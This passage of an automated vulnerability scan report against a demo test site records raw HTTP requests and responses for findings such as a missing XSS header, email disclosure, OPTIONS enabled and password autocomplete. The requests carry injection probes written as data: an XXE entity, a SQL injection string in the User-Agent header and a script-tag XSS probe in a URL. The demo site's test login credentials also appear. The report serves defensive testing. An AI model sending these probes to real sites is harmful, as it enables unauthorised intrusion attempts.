20.8. http://php.testsparker.com/process.php

Certainty



Go to the highlighted output

Request

GET /process.php HTTP/1.1
Host: php.testsparker.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
X-Scanner: Netsparker

Response

Response Time (ms) : 144.3064
Total Bytes Received : 1590
Body Length : 1422
Is Compressed : No
HTTP/1.1 200 OK
Server: Apache/2.2.8 (Win32) PHP/5.2.6
X-Powered-By: PHP/5.2.6
Content-Length: 1422
Content-Type: text/html
Date: Mon, 13 Jul 2020 07:04:52 GMT


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta name="keywords" content="" />
<meta name="description" content="" />
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<title>Netsparker Test Web Site - PHP</title>
<link href="/style.css" rel="stylesheet" type="text/css" media="screen" />
</head><body>
<div id="wrapper">

<div id="menu">
<ul>
<li><a href="/process.php?file=Generics/index.nsp">Home</a></li>
<li><a href="/hello.php?name=Visitor">Hello</a></li>
<li><a href="/products.php?pro=url">Products</a></li>
<li><a href="/process.php?file=Generics/about.nsp">About</a></li>
<li><a href="/process.php?file=Generics/contact.nsp">Contact</a></li>
<li><a href="/auth/">Login</a></li>
</ul>
</div>
<!-- end #menu -->
<div id="header">

</div>
<!-- end #header --> <!-- process.php load pages from path of the website. -->
<!-- FIXME: File / directory permissions -->
<!-- end #page -->
</div>

<div id="resetbar">
This website is automatically reset at every midnight (00:00 - UTC).
</div>
<div id="footer">
<p>Copyright (c) 2010 testsparker.com. All rights reserved. Design by <a href="http://www.freecsstemplates.org/">Free CSS Templates</a>.</p>
</div> <!-- end #footer -->
</body>
</html>
20.9. http://php.testsparker.com/process.php

Certainty



Go to the highlighted output

Request

POST /process.php HTTP/1.1
Host: php.testsparker.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Content-Length: 124
Content-Type: application/xml
Cookie: PHPSESSID=73e42ec791210db73a505d7c4302e2c7
User-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
X-Scanner: Netsparker

<?xml version="1.0"?><!DOCTYPE ns [<!ELEMENT ns ANY><!ENTITY lfi SYSTEM "data:;base64,TlM3NzU0NTYxNDQ2NTc1">]><ns>&lfi;</ns>

Response

Response Time (ms) : 516.1087
Total Bytes Received : 1590
Body Length : 1422
Is Compressed : No
HTTP/1.1 200 OK
Server: Apache/2.2.8 (Win32) PHP/5.2.6
X-Powered-By: PHP/5.2.6
Content-Length: 1422
Content-Type: text/html
Date: Mon, 13 Jul 2020 07:05:01 GMT


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta name="keywords" content="" />
<meta name="description" content="" />
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<title>Netsparker Test Web Site - PHP</title>
<link href="/style.css" rel="stylesheet" type="text/css" media="screen" />
</head><body>
<div id="wrapper">

<div id="menu">
<ul>
<li><a href="/process.php?file=Generics/index.nsp">Home</a></li>
<li><a href="/hello.php?name=Visitor">Hello</a></li>
<li><a href="/products.php?pro=url">Products</a></li>
<li><a href="/process.php?file=Generics/about.nsp">About</a></li>
<li><a href="/process.php?file=Generics/contact.nsp">Contact</a></li>
<li><a href="/auth/">Login</a></li>
</ul>
</div>
<!-- end #menu -->
<div id="header">

</div>
<!-- end #header --> <!-- process.php load pages from path of the website. -->
<!-- FIXME: File / directory permissions -->
<!-- end #page -->
</div>

<div id="resetbar">
This website is automatically reset at every midnight (00:00 - UTC).
</div>
<div id="footer">
<p>Copyright (c) 2010 testsparker.com. All rights reserved. Design by <a href="http://www.freecsstemplates.org/">Free CSS Templates</a>.</p>
</div> <!-- end #footer -->
</body>
</html>
20.10. http://php.testsparker.com/products.php

Certainty



Go to the highlighted output

Request

GET /products.php HTTP/1.1
Host: php.testsparker.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
X-Scanner: Netsparker

Response

Response Time (ms) : 385.5312
Total Bytes Received : 2977
Body Length : 2809
Is Compressed : No
HTTP/1.1 200 OK
Server: Apache/2.2.8 (Win32) PHP/5.2.6
X-Powered-By: PHP/5.2.6
Content-Length: 2809
Content-Type: text/html
Date: Mon, 13 Jul 2020 07:04:52 GMT




<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta name="keywords" content="" />
<meta name="description" content="" />
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<title>Netsparker Test Web Site - PHP</title>
<link href="/style.css" rel="stylesheet" type="text/css" media="screen" />
</head><script type=text/javascript src = "" ></script>
<body>
<div id="wrapper">

<div id="menu">
<ul>
<li><a href="/process.php?file=Generics/index.nsp">Home</a></li>
<li><a href="/hello.php?name=Visitor">Hello</a></li>
<li><a href="/products.php?pro=url">Products</a></li>
<li><a href="/process.php?file=Generics/about.nsp">About</a></li>
<li><a href="/process.php?file=Generics/contact.nsp">Contact</a></li>
<li><a href="/auth/">Login</a></li>
</ul>
</div>
<!-- end #menu -->
<div id="header">

</div>
<!-- end #header --> <div id="page">
<div id="page-bgtop">
<div id="page-bgbtm">
<div id="content">
<div class="post">
<div class="entry">
<h1 class="title"><a href="#">Products </a></h1>
<p>Currently , we don&#39;t have any products to sell.</p>
</div>
</div>
<div style="clear: both;">&nbsp;</div>
</div>
<!-- end #content -->

<div id="sidebar">
<ul>
<li>
<div id="search" >
<form method="get" action="artist.php">
<div>
<input type="text" name="id" id="search-text" value="" />
<input type="submit" id="search-submit" value="GO" />
</div>
</form>

</div>
<div style="clear: both;">&nbsp;</div>
</li>
<li>
<h2>Tags</h2>
<p>netsparker xss web-application-security false-positive-fr

20.11. http://php.testsparker.com/style.css

Certainty



Go to the highlighted output

Request

GET /style.css HTTP/1.1
Host: php.testsparker.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Referer: http://php.testsparker.com/process.php
User-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
X-Scanner: Netsparker

Response

Response Time (ms) : 661.8273
Total Bytes Received : 9667
Body Length : 9414
Is Compressed : No
HTTP/1.1 200 OK
Server: Apache/2.2.8 (Win32) PHP/5.2.6
Content-Length: 9414
Last-Modified: Tue, 11 Feb 2020 14:14:32 GMT
Accept-Ranges: bytes
Content-Type: text/css
Date: Mon, 13 Jul 2020 07:04:53 GMT
ETag: "4f000000013047-24c6-59e4d7993b4ee"

/*
Design by Free CSS Templates
*/
/*
http://www.freecsstemplates.org
Released for free under a Creative Commons Attribution 2.5 License
*/

body {
margin: 0;
padding: 0;
background: #F1F1F1 url(images/img01.gif) repeat-x left top;
font-family: Arial, Helvetica, sans-serif;
font-size: 12px;
color: #787878;
}

h1, h2, h3 {
margin: 0;
padding: 0;
font-weight: normal;
color: #023848;
}

h2 {
color: red;
}

h3{
color: Gray;
}


h1 {
font-size: 2em;
}

h2 {
font-size: 2.4em;
}

h3 {
font-size: 1.6em;
}

p, ul, ol {
margin-top: 0;
line-height: 180%;
}

ul, ol {
}

a {
text-decoration: none;
color: #4486C7;
}

a:hover {
}

#wrapper {
width: 980px;
margin: 0 auto;
padding: 0;
}


#header {
width: 980px;
height: 280px;
margin: 0 auto;
padding: 0px;
background: url(images/main-slideshow-no-flash.jpg) no-repeat left top;
}


#logo {
float: right;
margin: 0;
padding: 0;
color: #000000;
}

#logo h1, #logo p {
margin: 0;
padding: 0;
}

#logo h1 {
float: left;
padding-top: 223px;
letter-spacing: -1px;
text-align: right;
text-transform: lowercase;
font-size: 3.8em;
}

#logo p {
float: left;
margin: 0;
padding: 250px 0 0 10px;
font: normal 14px Georgia, "Times New Roman", Times, serif;
font-style: italic;
color: #FFFFFF;
}

#logo a {
border: none;
background: none;
text-decoration: none;
color: #FFFFFF;
}


#search {
float: right;
width: 280px;
height: 60px;
padding: 20px 0px 0px 0px;
background: #E2E2E2;
border-bottom: 4px solid #FFFFFF;
}

#search form {
height: 41px;
margin: 0;
padding: 10px 0 0 20px;
}

#search fieldset {
margin: 0;
paddin

Remedy

Add the X-XSS-Protection header with a value of "1; mode= block".
  • X-XSS-Protection: 1; mode=block

External References

CLASSIFICATION

WASC15

21. Email Address Disclosure

INFORMATION
1

Netsparker identified an Email Address Disclosure.

Impact

Email addresses discovered within the application can be used by both spam email engines and also brute-force tools. Furthermore, valid email addresses may lead to social engineering attacks.

Vulnerabilities

21.1. http://php.testsparker.com/process.php?file=Generics/contact.nsp
MethodParameterValue
GETfileGenerics/contact.nsp

Email Address(es)

  • test@testsparker.com

Certainty



Go to the highlighted output

Request

GET /process.php?file=Generics/contact.nsp HTTP/1.1
Host: php.testsparker.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Referer: http://php.testsparker.com/process.php
User-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
X-Scanner: Netsparker

Response

Response Time (ms) : 254.901
Total Bytes Received : 3651
Body Length : 3483
Is Compressed : No
HTTP/1.1 200 OK
Server: Apache/2.2.8 (Win32) PHP/5.2.6
X-Powered-By: PHP/5.2.6
Content-Length: 3483
Content-Type: text/html
Date: Mon, 13 Jul 20

Stone QX
Dos Tringulas
EK7 AP0<br />
USA<br />
</p>

<p>
<span>Tel: +44 123 456 7890</span><br />
<span>Fax: +44 123 456 7891</span></p>
<p>

<p>
E-mail: test@testsparker.com</b></a></p>
</p>

</div>
</div>
<div style="clear: both;">&nbsp;</div>
</div>
<!-- end #content -->

<div id="sidebar">
<ul>
<li>
<div id="search"

Remedy

Use generic email addresses such as contact@ or info@ for general communications and remove user/people-specific email addresses from the website; should this be required, use submission forms for this purpose.

External References

CLASSIFICATION

WASC13

CVSS 3.0 SCORE

Base5.3 (Medium)
Temporal5.3 (Medium)
Environmental5.3 (Medium)

CVSS Vector String

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

CVSS 3.1 SCORE

Base5.3 (Medium)
Temporal5.3 (Medium)
Environmental5.3 (Medium)

CVSS Vector String

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

22. OPTIONS Method Enabled

INFORMATION
6
CONFIRMED
6

Netsparker detected that OPTIONSmethod is allowed. This issue is reported as extra information.

Impact

Information disclosed from this page can be used to gain additional information about the target system.

Vulnerabilities

22.1. http://php.testsparker.com/.svn/
CONFIRMED
CONFIRMED

Allowed methods

  • GET,HEAD,POST,OPTIONS,TRACE
Go to the highlighted output

Request

OPTIONS /.svn/ HTTP/1.1
Host: php.testsparker.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Connection: Keep-Alive
Cookie: PHPSESSID=73e42ec791210db73a505d7c4302e2c7
User-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
X-Scanner: Netsparker

Response

Response Time (ms) : 434.3755
Total Bytes Received : 243
Body Length : 0
Is Compressed : No
HTTP/1.1 200 OK
Server: Apache/2.2.8 (Win32) PHP/5.2.6
Connection: Keep-Alive
Allow: GET,HEAD,POST,OPTIONS,TRACE
Keep-Alive: timeout=5, max=103
Content-Length: 0
Content-Type: httpd/unix-directory
Date: Mon, 13 Jul 2020 07:08:52 GMT

22.2. http://php.testsparker.com/auth/images/
CONFIRMED
CONFIRMED

Allowed methods

  • GET,HEAD,POST,OPTIONS,TRACE
Go to the highlighted output

Request

OPTIONS /auth/images/ HTTP/1.1
Host: php.testsparker.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Connection: Keep-Alive
Cookie: PHPSESSID=73e42ec791210db73a505d7c4302e2c7
User-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
X-Scanner: Netsparker

Response

Response Time (ms) : 132.5437
Total Bytes Received : 242
Body Length : 0
Is Compressed : No
HTTP/1.1 200 OK
Server: Apache/2.2.8 (Win32) PHP/5.2.6
Connection: Keep-Alive
Allow: GET,HEAD,POST,OPTIONS,TRACE
Keep-Alive: timeout=5, max=26
Content-Length: 0
Content-Type: httpd/unix-directory
Date: Mon, 13 Jul 2020 07:08:20 GMT

22.3. http://php.testsparker.com/Generics/
CONFIRMED
CONFIRMED

Allowed methods

  • GET,HEAD,POST,OPTIONS,TRACE
Go to the highlighted output

Request

OPTIONS /Generics/ HTTP/1.1
Host: php.testsparker.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Connection: Keep-Alive
Cookie: PHPSESSID=73e42ec791210db73a505d7c4302e2c7
User-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
X-Scanner: Netsparker

Response

Response Time (ms) : 127.1612
Total Bytes Received : 232
Body Length : 0
Is Compressed : No
HTTP/1.1 200 OK
Server: Apache/2.2.8 (Win32) PHP/5.2.6
Connection: Keep-Alive
Allow: GET,HEAD,POST,OPTIONS,TRACE
Keep-Alive: timeout=5, max=135
Content-Length: 0
Content-Type: text/html
Date: Mon, 13 Jul 2020 07:07:03 GMT

22.4. http://php.testsparker.com/icons/
CONFIRMED
CONFIRMED

Allowed methods

  • GET,HEAD,POST,OPTIONS,TRACE
Go to the highlighted output

Request

OPTIONS /icons/ HTTP/1.1
Host: php.testsparker.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Connection: Keep-Alive
Cookie: PHPSESSID=73e42ec791210db73a505d7c4302e2c7
User-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
X-Scanner: Netsparker

Response

Response Time (ms) : 129.3798
Total Bytes Received : 243
Body Length : 0
Is Compressed : No
HTTP/1.1 200 OK
Server: Apache/2.2.8 (Win32) PHP/5.2.6
Connection: Keep-Alive
Allow: GET,HEAD,POST,OPTIONS,TRACE
Keep-Alive: timeout=5, max=122
Content-Length: 0
Content-Type: httpd/unix-directory
Date: Mon, 13 Jul 2020 07:10:32 GMT

22.5. http://php.testsparker.com/icons/small/
CONFIRMED
CONFIRMED

Allowed methods

  • GET,HEAD,POST,OPTIONS,TRACE
Go to the highlighted output

Request

OPTIONS /icons/small/ HTTP/1.1
Host: php.testsparker.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Connection: Keep-Alive
Cookie: PHPSESSID=73e42ec791210db73a505d7c4302e2c7
Referer: http://php.testsparker.com/icons/
User-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
X-Scanner: Netsparker

Response

Response Time (ms) : 131.3981
Total Bytes Received : 243
Body Length : 0
Is Compressed : No
HTTP/1.1 200 OK
Server: Apache/2.2.8 (Win32) PHP/5.2.6
Connection: Keep-Alive
Allow: GET,HEAD,POST,OPTIONS,TRACE
Keep-Alive: timeout=5, max=103
Content-Length: 0
Content-Type: httpd/unix-directory
Date: Mon, 13 Jul 2020 07:11:39 GMT

22.6. http://php.testsparker.com/images/
CONFIRMED
CONFIRMED

Allowed methods

  • GET,HEAD,POST,OPTIONS,TRACE
Go to the highlighted output

Request

OPTIONS /images/ HTTP/1.1
Host: php.testsparker.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Connection: Keep-Alive
Cookie: PHPSESSID=73e42ec791210db73a505d7c4302e2c7
User-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
X-Scanner: Netsparker

Response

Response Time (ms) : 127.9576
Total Bytes Received : 232
Body Length : 0
Is Compressed : No
HTTP/1.1 200 OK
Server: Apache/2.2.8 (Win32) PHP/5.2.6
Connection: Keep-Alive
Allow: GET,HEAD,POST,OPTIONS,TRACE
Keep-Alive: timeout=5, max=119
Content-Length: 0
Content-Type: text/html
Date: Mon, 13 Jul 2020 07:07:39 GMT

Remedy

Disable OPTIONSmethod in all production systems.

External References

CLASSIFICATION

WASC14

23. Autocomplete Enabled (Password Field)

INFORMATION
6
CONFIRMED
6

Netsparker detected that autocomplete is enabled in one or more of the password fields.

Impact

If user chooses to save, data entered in these fields will be cached by the browser. An attacker who can access the victim's browser could steal this information. This is especially important if the application is commonly used in shared computers, such as cyber cafes or airport terminals.

Vulnerabilities

23.1. http://php.testsparker.com/auth/
CONFIRMED
CONFIRMED
MethodParameterValue
GETUser-Agent(select convert(int,cast(0x5f21403264696c656d6d61 as varchar(8000))) from syscolumns)

Identified Field Name

  • password
Go to the highlighted output

Request

GET /auth/ HTTP/1.1
Host: php.testsparker.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Connection: Keep-Alive
Cookie: PHPSESSID=73e42ec791210db73a505d7c4302e2c7
Referer: http://php.testsparker.com/process.php?file=Generics/index.nsp
User-Agent: (select convert(int,cast(0x5f21403264696c656d6d61 as varchar(8000))) from syscolumns)
X-Scanner: Netsparker

Response

Response Time (ms) : 306.0468
Total Bytes Received : 3521
Body Length : 3162
Is Compressed : No
HTTP/1.1 200 OK
Server: Apache/2.2.8 (Win32) PHP/5.2.6
X-Powered-By: PHP/5.2.6
Pragma: no-cache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Keep-Alive: timeout=5, max=4
Content-Length: 3162
Connection: Keep-Alive
Content-Type: text/html
Date: Mon, 13 Jul 2020 07:06:30 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check

Enter your credentials (admin / admin123456)
<br/>
<form method="POST" action="control.php">
Username: <input type="text" name="username"/>
<br/>
Password:&nbsp;&nbsp;<input type="password" name="password"/>
<!-- Test credentials -->
<!-- Password: admin123456 -->
<br/>
<input type="hidden" name="token" value="23577">
<br/>
<input type="submit" value="SUBMIT">
</form>


23.2. http://php.testsparker.com/auth/control.php
CONFIRMED
CONFIRMED
MethodParameterValue
POSTusername%27
POSTtoken30556
POSTpassword

Identified Field Name

  • password
Go to the highlighted output

Request

POST /auth/control.php HTTP/1.1
Host: php.testsparker.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=73e42ec791210db73a505d7c4302e2c7
Referer: http://php.testsparker.com/auth/login.php
User-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
X-Scanner: Netsparker

username=%2527&token=30556&password=

Response

Response Time (ms) : 564.578
Total Bytes Received : 3522
Body Length : 3162
Is Compressed : No
HTTP/1.1 200 OK
Server: Apache/2.2.8 (Win32) PHP/5.2.6
X-Powered-By: PHP/5.2.6
Pragma: no-cache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Keep-Alive: timeout=5, max=27
Content-Length: 3162
Connection: Keep-Alive
Content-Type: text/html
Date: Mon, 13 Jul 2020 07:07:58 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check

Enter your credentials (admin / admin123456)
<br/>
<form method="POST" action="control.php">
Username: <input type="text" name="username"/>
<br/>
Password:&nbsp;&nbsp;<input type="password" name="password"/>
<!-- Test credentials -->
<!-- Password: admin123456 -->
<br/>
<input type="hidden" name="token" value="26775">
<br/>
<input type="submit" value="SUBMIT">
</form>


23.3. http://php.testsparker.com/auth/control.php
CONFIRMED
CONFIRMED
MethodParameterValue
GETUser-Agent(select convert(int,cast(0x5f21403264696c656d6d61 as varchar(8000))) from syscolumns)

Identified Field Name

  • password
Go to the highlighted output

Request

GET /auth/control.php HTTP/1.1
Host: php.testsparker.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Connection: Keep-Alive
Cookie: PHPSESSID=73e42ec791210db73a505d7c4302e2c7
Referer: http://php.testsparker.com/auth/login.php
User-Agent: (select convert(int,cast(0x5f21403264696c656d6d61 as varchar(8000))) from syscolumns)
X-Scanner: Netsparker

Response

Response Time (ms) : 305.4569
Total Bytes Received : 3522
Body Length : 3162
Is Compressed : No
HTTP/1.1 200 OK
Server: Apache/2.2.8 (Win32) PHP/5.2.6
X-Powered-By: PHP/5.2.6
Pragma: no-cache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Keep-Alive: timeout=5, max=40
Content-Length: 3162
Connection: Keep-Alive
Content-Type: text/html
Date: Mon, 13 Jul 2020 07:08:16 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check

Enter your credentials (admin / admin123456)
<br/>
<form method="POST" action="control.php">
Username: <input type="text" name="username"/>
<br/>
Password:&nbsp;&nbsp;<input type="password" name="password"/>
<!-- Test credentials -->
<!-- Password: admin123456 -->
<br/>
<input type="hidden" name="token" value="18806">
<br/>
<input type="submit" value="SUBMIT">
</form>


23.4. http://php.testsparker.com/auth/login.php
CONFIRMED
CONFIRMED

Identified Field Name

  • password
Go to the highlighted output

Request

GET /auth/login.php HTTP/1.1
Host: php.testsparker.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Referer: http://php.testsparker.com/auth/
User-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
X-Scanner: Netsparker

Response

Response Time (ms) : 3765.1264
Total Bytes Received : 3530
Body Length : 3161
Is Compressed : No
HTTP/1.1 200 OK
Set-Cookie: PHPSESSID=73e42ec791210db73a505d7c4302e2c7; path=/
Server: Apache/2.2.8 (Win32) PHP/5.2.6
X-Powered-By: PHP/5.2.6
Pragma: no-cache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Content-Length: 3161
Content-Type: text/html
Date: Mon, 13 Jul 2020 07:04:56 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check

Enter your credentials (admin / admin123456)
<br/>
<form method="POST" action="control.php">
Username: <input type="text" name="username"/>
<br/>
Password:&nbsp;&nbsp;<input type="password" name="password"/>
<!-- Test credentials -->
<!-- Password: admin123456 -->
<br/>
<input type="hidden" name="token" value="2544">
<br/>
<input type="submit" value="SUBMIT">
</form>


23.5. http://php.testsparker.com/auth/login.php
CONFIRMED
CONFIRMED

Identified Field Name

  • password
Go to the highlighted output

Request

POST /auth/login.php HTTP/1.1
Host: php.testsparker.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Connection: Keep-Alive
Content-Length: 124
Content-Type: application/xml
Cookie: PHPSESSID=73e42ec791210db73a505d7c4302e2c7
Referer: http://php.testsparker.com/auth/
User-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
X-Scanner: Netsparker

<?xml version="1.0"?><!DOCTYPE ns [<!ELEMENT ns ANY><!ENTITY lfi SYSTEM "data:;base64,TlM3NzU0NTYxNDQ2NTc1">]><ns>&lfi;</ns>

Response

Response Time (ms) : 467.5789
Total Bytes Received : 3522
Body Length : 3162
Is Compressed : No
HTTP/1.1 200 OK
Server: Apache/2.2.8 (Win32) PHP/5.2.6
X-Powered-By: PHP/5.2.6
Pragma: no-cache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Keep-Alive: timeout=5, max=99
Content-Length: 3162
Connection: Keep-Alive
Content-Type: text/html
Date: Mon, 13 Jul 2020 07:06:50 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check

Enter your credentials (admin / admin123456)
<br/>
<form method="POST" action="control.php">
Username: <input type="text" name="username"/>
<br/>
Password:&nbsp;&nbsp;<input type="password" name="password"/>
<!-- Test credentials -->
<!-- Password: admin123456 -->
<br/>
<input type="hidden" name="token" value="14285">
<br/>
<input type="submit" value="SUBMIT">
</form>


23.6. http://php.testsparker.com/auth/login.php/'%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Enetsparker(0x000CA2)%3C/scRipt%3E
CONFIRMED
CONFIRMED
MethodParameterValue
GETURI-BASED/'"--></style></scRipt><scRipt>netsparker(0x000CA2)</scRipt>

Identified Field Name

  • password
Go to the highlighted output

Request

GET /auth/login.php/'%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Enetsparker(0x000CA2)%3C/scRipt%3E HTTP/1.1
Host: php.testsparker.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Connection: Keep-Alive
Cookie: PHPSESSID=73e42ec791210db73a505d7c4302e2c7
Referer: http://php.testsparker.com/auth/
User-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
X-Scanner: Netsparker

Response

Response Time (ms) : 129.1733
Total Bytes Received : 3521
Body Length : 3161
Is Compressed : No
HTTP/1.1 200 OK
Server: Apache/2.2.8 (Win32) PHP/5.2.6
X-Powered-By: PHP/5.2.6
Pragma: no-cache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Keep-Alive: timeout=5, max=47
Content-Length: 3161
Connection: Keep-Alive
Content-Type: text/html
Date: Mon, 13 Jul 2020 07:06:57 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check

Enter your credentials (admin / admin123456)
<br/>
<form method="POST" action="control.php">
Username: <input type="text" name="username"/>
<br/>
Password:&nbsp;&nbsp;<input type="password" name="password"/>
<!-- Test credentials -->
<!-- Password: admin123456 -->
<br/>
<input type="hidden" name="token" value="2117">
<br/>
<input type="submit" value="SUBMIT">
</form>


Actions to Take

  1. Add the attribute autocomplete="off"to the form tag or to individual "input" fields. However, since early 2014, major browsers don't respect this instruction, due to their integrated password management mechanism, and offer to users to store password internally.
  2. Re-scan the application after addressing the identified issues to ensure all of the fixes have been applied properly.

Required Skills for Successful Exploitation

First and foremost, attacker needs either physical access or user-level code execution rights for successful exploitation. Dumping all data from a browser can be fairly easy, and a number of automated tools exist to undertake this. Where the attacker cannot dump the data, he/she could still browse the recently visited websites and activate the autocomplete feature to see previously entered values.

External References

CLASSIFICATION

WASC15

CVSS 3.0 SCORE

Base4.6 (Medium)
Temporal4.6 (Medium)
Environmental4.6 (Medium)

CVSS Vector String

CVSS:3.0/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

CVSS 3.1 SCORE

Base4.6 (Medium)
Temporal4.6 (Medium)
Environmental4.6 (Medium)

CVSS Vector String

CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

24. Database Detected (MySQL)

INFORMATION
1
CONFIRMED
1

Netsparker detected the target website is using MySQL as its backend database.

This is generally not a security issue and is reported here for informational purposes only.

Impact

This issue is reported as additional information only. There is no direct impact arising from this issue.

Vulnerabilities

